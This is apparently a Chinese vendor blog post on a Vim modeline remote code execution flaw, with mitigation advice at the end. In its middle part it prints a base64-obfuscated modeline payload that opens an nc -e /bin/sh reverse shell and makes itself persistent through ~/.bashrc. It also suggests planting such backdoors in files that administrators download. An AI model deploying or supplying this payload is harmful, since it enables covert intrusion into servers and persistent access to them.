Linux漏洞 VIM编辑器含有远程代码执行漏洞



          linux系统一直以来都是比较安全的,不管是系统内核还是一些第三方软件都没有太大的漏

洞,包括前几年爆出的redis漏洞,没有太多漏洞,然后最近linux频
频爆出高危的漏洞,使用vim

文本编辑器很多年了,得知被爆出远程代码执行漏洞
,有点不可思议,全国大多数的linux服务

器都使用的是vim,包括centos系统,
redhat,关于该漏洞的详情以及修复方案,我们SINE安全来

详细的跟大家介绍一下:


 
 
 
Linux vim漏洞详情
 
 
我们来看一下这个linux漏洞的利用条件,首先vim编辑器的版本是在8.0上下的,目前很多linux服

务器都是8.0左右的版本,大部分的linux服务器受该漏洞的影响
,再一个利用的条件是开启mode

line选项,默认的vim配置是不自动开启的,所以漏
洞的产生是要开启这个选项,很多低版本的

VIM都不会开启,所以漏洞的影响范
围降低了。我们来复现这个VIM POC漏洞,在VIM的配置文

件里开启modeline,并保
存。POC代码如下:


 
 
上面的漏洞是可以用来远程执行的,反向代理到我们自己的IP,进行后门连接,上面代码里的十

六进制字符要转化成二进制的表现形式,然后将反斜杠的转义字符删
除掉,可以将\n写成回车键

,这样就可以NC后门监听到我们自己的电脑IP,建立起
远程反弹后门,对linux进行操作。
 
 
 
我们在实际漏洞测试当中还发现上面的POC代码并不能持久化的建立后门连接,运行一次后,第

二次运行只能是普通文本的方式运行了,我们可以构造一下宏的木马
后门,每次运行vim命令都

执行我们设定好的木马后门NC反弹地址,代码如下:

 
[?7lSNothingqy:silent! w | call system('echo 
 
"IG5vaHVwIG5jIDEyNy4wLjAuMSA5OTk5IC1lIC9iaW4vc2ggPi9kZXYvbnVsbCAyPiYxIC

Y
gZWNobyAiYWxpYXMgdmltPSd2aW0gLWMgXCJAeVwiJ1xuIHNob3B0IC1zIGV4cGF

uZF9hbGl
hc2VzXG4iID4+IH4vLmJhc2hyYw=="|base64 -d | sh') | redraw! | file | 
 
silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ 
 
source\!\ \%') fdl=0: Nothing."
q
 
 
整个linux vim漏洞利用前提是要开启这个modeline配置,很多服务器默认是不开启这个选项的,

不过有些服务器的系统版本包括centos 6.0版本的都会开启这个配
置,有些服务器运维人员可

能会下载配置文件,以及代码,可以直接在代码里加入
后门,让他们VIM编辑的时候触发漏洞,

总之只要打开了这个文件就会中招,关于
该linux 漏洞的修复,建议将modeline关闭,并升级

VIM到最新版本。
 
分享: